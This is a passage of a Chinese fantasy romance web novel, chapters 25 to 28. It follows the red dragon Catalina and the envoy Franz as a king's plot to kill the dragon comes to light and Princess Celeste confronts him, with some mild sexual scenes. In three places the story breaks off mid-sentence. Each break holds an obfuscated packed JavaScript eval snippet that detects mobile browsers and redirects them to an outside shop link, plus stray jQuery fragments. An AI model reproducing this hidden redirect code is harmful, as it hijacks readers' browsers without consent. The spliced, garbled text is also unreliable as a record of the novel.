格里芬见了,微微一笑,他看出弗兰茨与卡塔利娜关系并不像表面上那样,只是使者与龙的关系。但他没说什么,而是对弗兰茨调侃道:“看来,罗兰先生也见过那只金杯呢,一定很漂亮吧?”
他很敏锐,弗兰茨暗暗吃惊,他一边带过这个问题,一边回想格里芬这个人。
格里芬会如此主动接近卡塔利娜,显然也是想为自己博一个出路。他的主家显赫,然而他身为旁支却沾不到什么实际的好处。弗兰茨在学校读书的时候却常常听到旁人提到他的名字,他的成绩很好,教职人员也很欣赏他;甚至一度有传闻道,王廷政院的十二大法官中的某位有推荐他继续深造的意向,但不知为何最后深造的却是另一个人。
格里芬似乎也被这件事打击颇深,不久后就从学校退学,四处周游散心去了。直到去年冬季,他才重回王都的社交圈。
单从他热络地接近卡塔利娜这一点来看,格里芬与阿奇尔似乎没有任何区别;但他意有所指的话语,敏锐的洞察力,却让弗兰茨意识到格里芬绝对不是一个单纯的想要一步登天的漂亮蠢货,不得举荐一事并没有使他一蹶不振。
所以,他又藏有什么目的呢?
夜色将近,宴会厅内欢歌乐舞不断,仿佛要将这场宴会一直举办下去似的。卡塔利娜用她那尖尖的指甲有一下没一下地敲着酒杯,发出“嗒嗒”的轻响。
那你又要来取什么呢?
弗兰茨看着卡塔利娜的侧脸,她赤红的头发披散着如同永不熄灭的火焰,也像地心流淌而出的蓬勃的岩浆。
多么富有生命力的一头龙,弗兰茨看着她,渐渐失了神。
.
夜晚,弗兰茨徘徊在卡塔利娜门外,心情忐忑。大概是受了那只小木鸟的影响,他为卡塔利娜准备了一点东西,明明下定决心的时候很坚定,可到了门外却又开始犹豫。
不过卡塔利娜没给他犹豫的机会,她推开了门,示意弗兰茨自己进来。
“坐。”卡塔利娜道。
刚沐浴完,她的头发还是湿漉漉的,她从没有点燃的壁炉里拿起一块碎木块,低头轻轻地朝它吹了一口气。
不一会儿,木块的中心渐渐变形,颜色变得变深,火光燃起,淡淡的白烟从木块上冒出,很快便燃起了一团火焰。
卡塔利娜覆盖着细小鳞片的手不怕烫,她托着那团火,用它来烘烤头发。
水汽蒸腾,屋内变热了一点儿,弗兰茨看着卡塔利娜,感觉自己的脸颊也被烤得发烫。
“怎么了?”察觉到弗兰茨一直在看自己,卡塔利娜问道。
25. 第 25 章
卡塔利娜的语气很平淡,弗兰茨不由得脸热。
她的语调虽然都差不多,但相处久了以后,其间的轻重变化都透露着卡塔利娜不同的情绪。
而此时,她似乎并没有亲近的意向。
弗兰茨有些羞恼,不是对卡塔利娜,而是对自己——对自己情绪变化的不安,对自己丨情丨欲丨渐起的恼怒。可就算卡塔利娜此时并没有亲近的想法,弗兰茨还是强忍住耻意,硬着头皮向她推荐道:“我……准备了一点东西。”
“东西?”卡塔利娜挑了一下眉毛,“给我的?给我看看。”
他解开扣子,敞开衣襟,露出给她的“礼物”。
卡塔利娜细细地观赏了一遍,又上手感受了一遍,有着细小鳞片的指腹在上面一轻一重的摩擦。她看着弗兰茨的脸一路红到了胸口,慢慢地笑了起来。
她将那枚由袖扣改造的小玩意取了下来,真情实意地评价:“你真的很适合。下次用宝石试试吧。”
弗兰茨几乎不敢看她,他眼神躲闪,拼命想要抑制住喉咙里细碎的声音。
卧房里,温度渐渐升高,一个突兀的声音忽然在门外响起——
“亲爱的女士,请宽恕我的打扰。”
格里芬华丽的声音透过木门模糊地传来,弗兰茨惊慌地向后一坐,又听到格里芬深情款款地说话:“在下——啊!”
短短一句话还没说完,格里芬突然闷哼了一声,再也没发出声音了。
弗兰茨错愕地与卡塔利娜相视一眼,拢好衣襟,缓缓站了起来。
正当他想推门察看时,门外又传来另一人的声音:“卡塔利娜女士,我是埃莉斯·谢利,今日下午曾见过一面。我并无恶意,只是有些事情我必须要弄清楚。”
谢利小姐?
她怎么会在这里,又有什么事情需要今晚知晓?
弗兰茨感到意外,他偏头去看卡塔利娜,她姿态悠闲地坐在扶手椅上,似乎也不清楚事态。
“卡塔利娜女士——”
急促地敲门声又响了起来,弗兰茨庆幸这一层只有卡塔利娜居住,不然今晚这几番动静,早已惊动旁人围观。
“需要我开门吗?”弗兰茨问她。
卡塔利娜歪了歪头,靠在椅背上伸直了腿,语气随意道:“再等等吧。”
“——女士,”敲门声停止片刻,谢利的声音再次响了起来。
这一回,她的语调更加稳重克制,也将自己的态度表明了出来,直到此时,卡塔利娜才冲弗兰茨点了点头,示意他:“去吧。”
弗兰茨推开门,看到神情焦急的谢利小姐和被她打晕在旁的格里芬,暗暗咋舌。
听见开门声,谢利紧张地抬头,却对上了弗兰茨的脸,她不由得吃了一惊,两人面面相觑,半晌,谢利一副“管不了那么多”的样子,拖着被她打晕的格里芬就往门里挤。
而那头红龙,正悠哉游哉地躺在扶手椅里有一下没一下地晃着脚尖。
“卡塔利娜女士——”谢利向前冲了两步,才想起自己手里还攥着格里芬的衣领,她把他往弗兰茨身上一推,随后又望向卡塔利娜——一头也许知道事情真相的红龙。
一头真正的龙。
因此谢利心中急切,她也不敢催促她。她先是对她行了一个礼,才恭敬又严肃地开口了。
她先是简略介绍了一番她焦急的原因——堵在门口大献殷勤的格里芬是直接影响,雷东多的遗书更是主要原因。
雷东多的遗书?
雷东多死了?
弗兰茨不可置信,但谢利沉重的眼神和话语证明这并非一场骗局:“对,雷东多去世了,他是自杀的。”
谢利犹豫地看了弗兰茨一眼,但她既见卡塔利娜没有叫弗兰茨回避,又想到他们二人先前比较亲密的动作,默认了弗兰茨的存在,继续说了下去。
她的确如弗兰茨猜测那般,虽然身为使团使者,但却因为身份没有收到陛下的密令,不过是一个充当混淆视听的存在。然而陛下未能料到谢利与雷东多身份不同,可都来自王国南部的一个城市;身在王都却能遇见同乡人,两人的关系自然地被拉近。
尽管雷东多没有告诉谢利国王密令的具体内容,但他也在出发前提醒她小心谨慎,直到他们横渡白沙海时遭遇风暴,谢利受伤在格兰德城休养,雷东多则继续往龙穴进发。
行赏结束后两人在金水仙公馆重逢,行赏成功明明值得庆贺,但谢利却发现雷东多心事重重,无论她如何试探,他连一句都不肯吐露。这样的状态一直保持到卡塔利娜突然到来的那个夜晚,雷东多面色惨白,谢利以为他只是被红龙吓到了——毕竟那天下午,又有谁不害怕?
可是宴会结束后,雷东多在公馆□□的花园里喝得酩酊大醉,意外地向她吐露出这些天他忧虑的事——他在行赏路上杀了一个无辜的格兰德城人。
她十分震惊,因为她知道雷东多尽管因为沉默寡言而显得样貌阴沉,但他心地柔软,不然也不会在出发时提醒她,怎么会无缘无故地就杀了一个人?
谢利不敢相信,她一直等到雷东多酒醒,向他追问到底怎么一回事,雷东多却突然崩溃大哭,求她不要再问。
“这会害死你的,”谢利从未听过这样凄厉的哭声,他就像荒野里游荡的野兽一样哀嚎,面部肌肉似乎因为忍受了太久导致他哭起来时显得格外扭曲,“我要死了,我真的要死了!我们就不应该去行赏!这所谓的荣耀正在害死我们每一个人!”
他哭了许久,哭到最后起身送她离去的力气都没有了。
谢利担忧地离去,第二天再来拜访时却发现雷东多已经自绝于桌前,桌上放着一封遗书。
“他是怎么……”听到这,弗兰茨不由得发问。
“……他将写遗书的笔拆开了,将笔尖吞了下去。”谢利看了他一眼,叹了一口气道。
在发现雷东多自缢后,谢利当即找到了公馆管事和治安官员,可是她没想到的是在雷东多的遗体被悄无声息地带走后,一切又重回新回到了平和之中,仿佛什么也没有发生过。她去追问后续处理以及是否有专人前来调查,监察官却以事件还在进一步调查中为由微笑着拒绝了她。
而公馆里的其他人,都因为接下来的宴会完全忽略了雷东多消失的事。谢利意识到这件事的发展超出她的预料,再结合红龙突然降临以及她到来后所说的话,心底的不安飞速漫延。
为什么雷东多会在行赏途中杀人?为什么红龙会突然到来并指出有人要谋杀她?为什么伍德被当场关押,其他前
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002930|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
往龙穴的使者相安无事?
这是否意味着红龙说的是真的,而雷东多杀人也与这件事有关?
如果这些猜想是正确的,那么雷东多遗书上的内容也就说得通了。
为什么他表现得如此痛苦,遗书上却写着感恩被选为使团使者;为什么他会说“会被荣耀害死”,却剖白自己愧对陛下的信任无法承受这沉甸甸的光芒。
因为谋杀红龙不是伍德独一人的主意,这背后一定有更高权力的人在指使;所以雷东多至死也无法将真相说出,他只好带着愧作与痛苦投向死亡的怀抱。
“所以,你想要确定什么?”沉重的气氛里,卡塔利娜轻松地靠在椅背上,漫不经心地问。
谢利沉沉地叹了一口气,她看向卡塔利娜,看向这头强大的红龙。
这真是荒诞,她竟然要向一个异族来确定关于自己人的猜想,然而先前在“自己人”中屡屡碰壁的事实让她意识到,真相只能从卡塔利娜处知道。
“我想要向您确认,我的猜测是否正确,我想要确认雷东多是否杀害了一个格兰德城人,想要确认想要谋杀您的是否不止伍德一人,他的背后是否还站着更高的操纵者,这次行赏,以及我们这些不知情的人,是否只是一个幌子?而您,是否早就知道这一切?”
听完这话,卡塔利娜抬眸瞥了一眼谢利,她正毫无畏惧地盯着自己。
卡塔利娜勾了勾唇,夸赞道:“你很敏锐。”
她的猜测是真的!
怪不得……怪不得!
谢利重重喘了几口气,头脑一片空茫。弗兰茨虽早已猜想到事实,但亲耳听到卡塔利娜的承认还是让他心底震荡。
两人各自思忖,卡塔利娜则十分悠闲。在这沉默如水的氛围中,一个突兀的呻丨吟声响起。
“呃啊……”格里芬挣扎着睁开眼,只觉得后脖颈处一跳一跳的疼。
他迷茫地环顾四周,发现自己正被几双眼睛注视着。
谢利小姐,罗兰先生,以及——卡塔利娜女士——一头红龙。
我怎么会在这儿?他们为什么看着我?
格里芬揉着后颈,从地上坐了起来,他打量了一下环境,意识到自己正在红龙的卧房内。
我刚刚……啊,对,我刚刚是在卧房门外,然后我进来了。
我进来了?!
格里芬眼皮一跳,余光瞥见一道黑影闪过,他急忙往后一倒,堪堪躲过了那道劲风——谢利一拳砸到地上,发出“砰”的一声响。
格里芬吓了一大跳,他虽然不知是什么情况,但凭此他就可以肯定,刚刚打晕他的人正是眼前的谢利小姐。
可是,她为什么要打晕他?
格里芬挡住谢利打来的第二拳,形容狼狈,语调却很热切:“谢利、谢利小姐,我是来找卡塔利娜女士说一些私密话的呀,谢利小姐你这是在做什么?刚刚插了我的队,现在又看我不顺眼了?”
他调侃完谢利,又转头看向卡塔利娜:“还是说卡塔利娜女士,您比较喜欢热闹一点的?”
这话说得也太粗鲁了,弗兰茨皱了皱眉,他上前两步,却被卡塔利娜的话拦住了。
“我是喜欢热闹,”卡塔利娜对他笑了笑,“论到你了,来说点热闹的事吧。”
26. 第 26 章
此话一出,卧房里的其余三人不由得都噎了一噎。
谢利和弗兰茨面面相觑,格里芬则有些犹豫。他自诩心思通透,可遇到卡塔利娜以来,他的所有手段,所有语言,似乎完全失效;他看不透她,也不明白她。
在宴会厅里她的言行冷淡,在卧房里却来了兴致。如果仅是这样,倒也不至于让他头疼,可她面上表现得很感兴趣,却没有让另外两人回避的意思。
而他要说的话,显然不是旁人可以听的。
格里芬心中思绪万千不过呼吸一瞬,他眨了眨眼,摆出一副纨绔的样子,故意用更露骨的话暗示道:“热闹的话,不如热闹的事。”
他往前凑了两步,想去握卡塔利娜的手,却被弗兰茨按住了肩膀。不出意料地被阻拦,格里芬撇了撇嘴,又十分热情道:“两位还不离开,是想同我们一道热闹热闹吗?”
这番话的意图实在明显,谢利觉得恶心,她向卡塔利娜告辞后离开,而弗兰茨仍站在原地,面色难看。
除却某位潜在的暗示,卡塔利娜强大的力量,目中无人的气势,本身就十分吸引人的目光,能吸引一些人献身自然也不例外。
昨日他可以靠身体挽留卡塔利娜,赶走门外的阿奇尔;可是今天,格里芬已经入侵到卧室内,卡塔利娜又似乎对格里芬很感兴趣,这让弗兰茨心中生出许多别样的情绪,既复杂又难堪。
按照卡塔利娜的脾性,他应该出去将空间留给两人;但现在即使心中酸涩,他依旧站在原地,沉默且固执。
两人心思不同,表情却同样精彩。
卡塔利娜将这一切都看在眼里,她看着弗兰茨抿紧的嘴唇,看着他落在地上落在门上就是不落在她身上的眼神,忍不住哈哈大笑起来。
她向来我行我素,大笑的时候也丝毫不控制声音。她笑得响亮,招得两人不知所措地看向她。
过了好一会儿,卡塔利娜终于笑够了,她收了戏弄的心思,变回面无表情的样子,对格里芬开口了:“我能闻到你身上的味道,没有情丨欲。你的主人有什么话要你说就直说。”
收了笑容的红龙让人生畏,格里芬下意识将身上那层嬉笑的面具摘了下来。
他犹豫了一下,尽管他先前并没有和卡塔利娜接触过,但她已然看穿了他,现在再装出一副不知情的诧异样未免也太傻。想到这儿,格里芬轻声道:“她说‘格兰德城人已经到来’。”
格兰德城人已经到来?
弗兰茨心中一跳,此时,他已意识到格里芬和阿奇尔不同,他并不是前来“献身”,而是来传递信息的。
但是,他为谁传递信息?“格兰德城人已经到来”又是什么意思?
心中正疑惑着,卡塔利娜又说道:“所以呢?需要我行动了吗?”
格里芬顿了一顿,显然他仍未适应卡塔利娜直白的说话方式,但为了他背后的主人,他不得不硬着头皮回答:“是的,女士。她的意思,是希望您明日行动。”
“希望。”卡塔利娜哼了一声,让人听不出她到底是答应还是不答应。
格里芬背后开始冒汗,他咬咬牙,艰难开口道:“然后,她还有一个祝福想要给您——祝您早日获得您想要的。”
这听着像一个美好祝愿,但卡塔利娜的脸色一下子沉了下来。
格里芬见了汗如雨下,弗兰茨也不敢说话。
凝固的空气里,两人大气也不敢出一声,直到卡塔利娜冷冷的一句:“滚吧。”
格里芬才如释重负般滚出了卧房,弗兰茨则犹豫着走上前。
“卡塔利娜……”他下意识轻声唤她,心里还没有想好要说什么,胳膊却被她一把攥住往前一拽。
她的力道很大,攥得他有点疼,但他的眉头也不曾皱一下,顺着她的力道走到她身前。
卡塔利娜显然怒火未消,她目光沉沉地盯着弗兰茨,攥着弗兰茨的手一言不发。
覆盖着鳞片的手很硬,当它在人的皮肤上摩擦时会带来细小的疼痛,弗兰茨没有试图挣脱,而是温顺地任由卡塔利娜收紧力道。
卡塔利娜仔细地打量着他,这目光不包含爱欲,也不藏有温情,她是一头猎食的野兽,冰冷地审视着她的猎物。在这样的目光下,弗兰茨没有躲闪,他坦然地承受着她,如此顺从,仿佛她要什么,做什么,他都会答应——
她几乎要就此开口了,但她还是停了下来,善于伪装的猎物不是没有遇到过,尽管她已经占有了他的身体,也不能保证万无一失。
明明是她先生出这样的念头,但突然觉得很没意思的是她,重燃怒火的也是她。
如果在以前,遇上这么复杂的猎物她早就一口吞吃了以绝后患,可现在,她没有拿到她想要的东西自然不能这么做。
卡塔利娜心里不痛快,动作起来更是没轻没重毫无顾忌,她啪一下甩开了弗兰茨的手,站起来直挺挺地往床上倒去。
她没去管他,安静的卧房里有两道浅浅的呼吸声交错响起。
过了一会儿,他还在这儿,她不满道:“你还在这里做什么?”
说这句话时卡塔利娜没起身看他,但听见他轻轻地叹了一口气,然后慢慢靠近。
“你很生气。”他的语调轻柔,可是动作却比以前大胆不少。
谁给他的胆子?卡塔利娜懒得瞪他,她料他不敢做什么,然而随后她就感受到他唇舌温柔的伺候。
她微微吃了一惊,很快又舒舒服服地接受了这样的示好。怒火泄掉一半,欲丨火却也懒得燃起来。卡塔利娜轻飘飘地瞥了弗兰茨一眼,他满脸通红,嘴唇水润,眼神倒还是一如既往地飘忽。
她哼笑了一声,觉得他的动作的确是大胆了不少,别的却也没有变化。
卡塔利娜翻了个身,现在舒坦了的是她自己,他难不难受她可管不着。弗兰茨也没有向她求欢的意思,只是顺势在她身边躺下了。
这一回,她终于舍得分一点注意力给他,见她看过来,弗兰茨对着她轻轻地笑了笑。灰蓝色的眼睛像静谧的湖水,他笑起来,湖水便微微泛起涟漪。
这很讨厌。
卡塔利娜想要伸手捂住弗兰茨的眼睛,但她却没有动作。她看着他,看他还有什么要说要做的。
“亲爱的卡塔利娜女士,”弗兰茨模仿着其他人称呼她时的语调,自己先忍不住笑了一下,他急忙用回自己的腔调,“你能允许我亲吻你吗?”
卡塔利娜没有说话。
和以往一样,她其实在表示“可以”,但眼前这个人似乎像忘记了她的习惯,又或者说这次他故意要她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012915|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开口。
没有人可以戏弄一条龙,卡塔利娜踹了弗兰茨一脚,收获了他轻轻的吸气。
“好吧。”他说,然后轻轻地向她靠近。
不知最后是谁先触碰,两人的嘴唇终于贴到了一起。
弗兰茨紧张地闭着眼,仅仅只是嘴唇触碰,他的脸就先烧红了。
“张嘴。”
他感受到卡塔利娜的嘴唇贴着他命令他。他下意识睁开眼,一只手捏住了他的下颌,卡塔利娜的舌头就强势地入侵到他的口腔。
很奇怪,他明明不是第一次与卡塔利娜亲吻,激烈程度也比不上之前,可他的心跳却比先前任何一次都跳得热烈。
他下意识想要逃避,可卡塔利娜已经牢牢地抓住了他,他想要喘息,但卡塔利娜的吻密不透风,几乎要将他吞进肚子里去了。刚刚才消下去的丨谷欠丨望又有渐起的趋势,弗兰茨想要隐藏,然而卡塔利娜正按着他,逼他将一切袒露在她的眼前。
他们亲吻的时间并不算长,弗兰茨却觉得好像又喝了一回从“贝莉的金杯”倒出来的美酒,醉醺醺的,连视野都变得朦胧。
缓了好一会儿,弗兰茨慢慢睁开眼,见卡塔利娜表情古怪地盯着他,心中不由得一紧。
怎么了?
他想问她,是自己哪里没有做好导致体验感一般,还是她觉得自己的举动冒犯了她?
他张了张口,却没敢问出来。
弗兰茨这边还在紧张,那边卡塔利娜心底生出几分奇怪的感觉。
有一点儿痒,又有一点儿热。
这样的感觉太过新鲜,以至于完全占据了她的心神,将今晚早些时候不愉快的事情都快忽略了。
两人面对面静静地躺了一会儿,卡塔利娜突然开口了。
她评价他:“你今晚很大胆。”
她的语气平和,似乎没有指责的意思。
不等弗兰茨开口,她又道:“是什么让你这样?因为今晚?”
弗兰茨轻轻笑了一下,他望着她明黄色的眼睛,望着她脸上小小的雀斑,心中微微一叹。
她很敏锐,但她还不明白。
她不明白他的嫉妒,她不明白他的患得患失,她不明白他难得大胆的行为下藏着一颗小心翼翼试探的心。
但这并不怪她,因为他也不明白。
他完全可以预料到,她做完想要做的事,拿到想要拿的东西后,一定会毫不留情地离开。他是她解闷的用品,他是她尚可接受靠近的人,与旁人相比,她或许对他留有一些情感,但当她的旅途结束,他自然也会被她落下。
他悲观地看待即将发生的未来,他预知自己要与她分开,可尽管如此,他仍想要开口:“和我有关的,你想要得到什么呢?”
他知道她得到后就会离开,但他仍想要帮助她,让她得到她想要的。
——这就是他不明白的地方。
他不明白这样的举动明明不利于他,明明违背他受过的教育,他为何做地心甘情愿;他不明白他们之间到底算什么关系,让他一次又一次地臣服于她。
这太过奇怪。
但他知道她不会告诉他,她到底要拿到什么,于是他换了一个话题,问道:“你明天会按照塞莱斯特殿下‘希望’的那样行动吗?”
27. 第 27 章
听到这句话,卡塔利娜看了他一眼。
“你如何知道是她?”
“知道”,而不是“猜到”。
卡塔利娜将答案给得直截了当,弗兰茨也不加以弯弯绕绕的掩饰。
“很多方面,看似你们毫无交集,实际上有很多细枝末节的地方。比如她与格里芬出身于同一位导师,比如她在使团临行前和归来后那些似是而非的话,比如我会被选为使团使者,又比如你的突然出现,”弗兰茨轻声道,“你有想要的东西,她也一定有所企图。你与人类百年前就有过交集,甚至还给予了杜兰德女士一枚鳞片,现在与塞菜斯特合作自然也不意外。”
弗兰茨的猜想可以说是相当准确,卡塔利娜听了却“噗”一声笑了出来。
“怎么了吗?”弗兰茨眨了眨眼,他以为自己有什么错得离谱的地方招她大笑。他原本觉得自己会不好意思,但当他看着卡塔利娜的眼睛流露出纯粹笑意的时候,他也不由得想要微笑起来。
“是什么让你觉得我送了杜兰德一枚鳞片?”卡塔利娜反问道。
“因为……”弗兰茨顿了顿,像是想起了什么似的耳尖微微泛红,“因为她的手札上曾记载过不是吗?而且之前相处的时候,我看到你的胸口,有一道浅浅的疤痕。那是鳞片剥下来后留的伤疤吗?”
卡塔利娜收敛了笑意,她静静地凝视了弗兰茨几秒,才否定道:“不,给杜兰德鳞片的红龙不是我,百年前与拜里科斯交好的红龙也不是我。我只是她的后裔而已。”
她的话很短很简洁,信息量却很大,弗兰茨还未能完全消化,卡塔利娜已经平躺着睡着了。
这是如此平静的一个夜晚,尽管今夜这间卧房里发生了许多出人意料的事情,软风与花香仍从窗外飘了进来充盈着整个房间。
如果按照格里芬所说的那样,卡塔利娜与塞莱斯特殿下将有一场行动。
具体是什么样的行动,何时展开,如何展开,弗兰茨不甚清楚,但究竟是为了什么,他却猜得七七八八。
奥伯伦·温德米尔试图通过如山的书籍、王国内的美景让他的第一顺位继承人远离权力中心,又将她身边的女官一一调走,让她缺少可以信任的属下。但从现在看来,事与愿违,塞莱斯特从书本中撷取前人智慧的果实,用脚步丈量王国真实的风情,野心与欲望随着她的见闻日益增长。
现任国王日渐衰老、行为放纵,国库入不敷出,无论是为了王国的将来还是为了她自己,寒莱斯特必然会生出与他博弈较量,其至取而代之的心思。
这在历代王室中并不少见。
塞莱斯特的目的好猜,可卡塔利娜为什么选择与她合作却没那么容易想明白。
她是一头红龙,鳞片坚硬又力量强大,她能够喷出炙热的火焰,还能指示忠心耿耿的龙牙战士。如果拜里科斯她有想要的东西,她大可以大摇大摆地命令,或者直接了当地取走,为何还要兜一个圈子,还不一定能够得到呢?
弗兰茨不解,他看着卡塔利娜陷入睡眠时平静的侧脸,不由得回忆起他与她相遇以来的点点滴滴。
她挑起的眉毛,她面无表情地开口,她按着他的肩背逼迫他翻越城墙,她将他扛在肩上带出塌陷的密道,她不语,她哼笑,她像一个旁观者审视着众人,挑选她觉得有意思的人,插手她想要插手的事。
按照这样的行为准则,卡塔利娜想要的东西要么只是她贪玩搅浑水的一个借口,要么就是重要到她必须亲自来取一趟不可,而且为了确保万无一失,不能冒失地直接使用武力强取的东西。
你到底想要什么呢?
夜渐渐深了,鸟叫虫鸣也逐渐淡去,只有花香如故。
弗兰茨静静地凝睇着她,他伸出手想要轻轻地碰一下她,半晌,还是将手收了回来。
.
翌日午后,王宫珍奇花园内。
这是阳光明媚的一天,宴会照常举行,只不过举行的地方从室内换到了室外。
这是为了能让大家尽情地享受初夏的风光,奥伯伦·温德米尔是这样解释的。
弗兰茨仍站在卡塔利娜的身边,默默地看着格里芬花枝招展,装模作样地扮演殷勤男子。
“行动”究竟什么时候开始,尚未可知,但弗兰茨估计他们会在人多的地方与国王对峙。
这样想着,他环顾四周,花园内热闹非凡,交谈声、音乐声混合着欢声笑语洋溢其间。
“天气这么好,老是沉默可就不合时宜了,罗兰先生。”还在思忖,格里芬的声音就热切地飘了过来。
“看您一直跟在卡塔利娜女士的身边,你们是如何认识的?”格里芬继续问道。
昨天出于卡塔利娜的威迫,格里芬不得不当着弗兰茨的面将真实的话说出来。尽管那话十分隐晦,但格里芬心中仍有不安。
谢利直接被他的话恶心走了,说明她显然对内情并不了解,只是恰好遇上;但是弗兰茨不一样。
卡塔利娜与他之间的互动比旁人要多上不少,在他赶走埃莉斯·谢利时卡塔利娜只是旁观,并没有阻拦;但在他试图赶走弗兰茨·罗兰时,她却打断了他的话。
这是否意味着弗兰茨对他们的行动了解不少?还是说她只是等得不耐烦了,并不在乎他们的行动泄露与否?
为确保行动万无一失,格里芬必须将每一个关键点都确认到位。
“托您主人的福。”弗兰茨看了格里芬一眼,对格里芬的试探大致也能预料得到。
不过他的话原本可以更友好一点,但一想到昨晚卧房里那场假意的献身,他就有些难以自抑地讽刺了回去:“还是在她的帮助下让我们相识的。”
格里芬虽为塞莱斯特筹谋,但他对行赏途中发生过的事情并不是很了解。原本也没有什么人知道,他也不清楚卡塔利娜是在“行赏”途中以向导的身份加入队伍的。
他只是以为他们只是在龙穴里仓促见了一面,然后就因为弗兰茨的身份和脸蛋导致他们的关系莫名其妙亲近起来。
所以,弗兰茨刚刚这句话是什么意思?这与塞莱斯特殿下又有什么关系?
但弗兰茨的意思可不是格里芬误会的那样,事实是塞莱斯特殿下与卡塔利娜达成了某种协议,弗兰能成为使团使者也是她在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016029|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
推波助澜。
这样一想,他能与卡塔利娜认识也多亏了她的“热心肠”。
两个人一来一回地交锋,卡塔利娜则挑着餐台上的点心吃,吃没几口就换一个,等到餐台上的每个品种她都尝过一遍后,她露出了索然无味的表情。
弗兰茨见了只觉得好笑,耳边纷纷嚷嚷的动静他也就听得不真切了。
“奥伯伦·温德米尔——!”
直到一个颇为熟悉的声音在耳边炸起,惊得弗兰茨侧头去看,发现来者竟是几位格兰德城人!
直呼国王的名讳不加任何尊称、贸然闯入的几道人影让宴会欢乐的氛围戛然而止,众人诧异地惊呼,齐齐回头张望却被他们手中的利剑吓得让出一条路。
见到下达指令的罪魁祸首,佩斯显然激动异常,她冲在最前面直直地往国王面前逼去:“你这个利欲熏心、假公济私的自私鬼!表面上为了拜里科斯荣耀,实际只在乎自己利益的小人!你打着选拔使者为名头敛财,又将这些不知情的冤大头送去受死!这些使者都以为是去行赏,实际上都是你谋杀红龙的幌子!”
佩斯步步紧逼,身体因为激动不住地颤抖:“而那些收到了密令的人!你用语言和权势粉饰,引诱他们去完成不可能完成的任务——去杀一头龙!你不敢随意使用‘贝莉的金杯’,所以你将他们推向了深渊!杀死一头红龙,盗取它的宝库,你——害死了这么多人!这是一位国王应该做的事吗!”
佩斯的呼喊掷地有声,内容又十分骇人,周围的人们动都不敢动一下,他们互相交换了几个眼神,彼此都觉得短短几天就听到两场爆炸性秘闻实在震撼。
奥伯伦将这一切都尽收眼底,此刻,他竟十分镇定,不像卡塔利娜到来时那般惊慌。他高傲地微笑,注视着佩斯以及她身后的几个格兰德城人,仿佛在看几个小孩子无理取闹。
这样的风度无疑感染了周围的臣民,他们将疑惑地眼神投射到闯入花园里的几人身上。
“这几位——”奥伯伦对着他们抬了抬手,“为何闯入王宫里大肆喧哗呢?如果你们想要鸣冤,难道不该先报上你们的身份姓名,再来陈述具体的事情吗?切莫用谎话与谣言煽动拜里科斯人的内心,因为在场所有人都知道,这对他们起不了作用!”
这一番话实在漂亮,花园里的臣民们蜂群似的嗡嗡叫了起来,奥伯伦一挥手,叫来近卫就要将这群不速之客抓起来:“罗斯!”
“我的陛下。”
沉默寡言的近卫由奥伯伦身后出现,他自觉胜券在握,不由得微微一笑,却不料一股寒意悄无声息地贴上了他的脖颈。
那是利剑的寒锋。
“你这是在做什么!?”
在众人齐齐惊呼声中,奥伯伦低声痛斥,鬓角却不自觉地冒出一点薄汗。
他在思索到底哪里出了问题,一个阴沉的低低的声音就从一旁传来。
“我亲爱的哥哥——”塞莱斯特从花门中走来,这位有着亲王名头却总被人忽略的女人穿着一身利落的骑装,她与那些格兰德城人一样手持一把利剑,向奥伯伦走去,“你实在是太自大了。”
28. 第 28 章
“塞莱斯特……”
见到来者,奥伯伦·温德米尔不怒反笑。
他看着他的妹妹,用一种怜悯怜爱的目光看着她,仿佛他身处的不是什么情况危急的政治现场,而是兄长教训顽劣的妹妹,以慈悲之心教导她远离挑拨离间的小人,重回正道的书房:“你实在不该这么做的,我亲爱的妹妹。你如此年轻,又这么天真幼稚,尽管你渴望权力——温德米尔家的人都是如此,我并不计较你使用阴谋,也不计较你萌生篡位的念头,我并无子嗣,这个王座本就该由你继承。但是——
“傻姑娘塞莱斯特,看看你的周围吧,几个一头热闯进宴会厅的傻子,一个之前就背叛了你的叛徒。如果这就是你的能力,如果这就是你与我博弈的筹码,那么你也太叫我失望了,这个王座倒不如交由旁人来坐。”
塞莱斯特并无言语,奥伯伦只当她想不出反驳的话,又对把剑架在他脖子上的罗斯道:“双面间谍?还是摇摆不定的墙头草?罗斯,我一向认为你比伍德更聪明,更会审时度势,没想到你比他还要愚蠢,还看不清形势。你在背叛了旧主后现在又归顺于她,先不谈你们是否会成功,你觉得有你这样两边倒的行为在先,塞莱斯特还会那么信任你吗?”
奥伯伦的话如细小的针往人身上最脆弱的地方上扎,但罗斯不为所动,她握着她的剑,紧紧地盯着他:“不是所有关系都可以为利益所改变的,我的陛下。您的恶行已犯下太多,是时候向大众揭露您的丑恶了。”
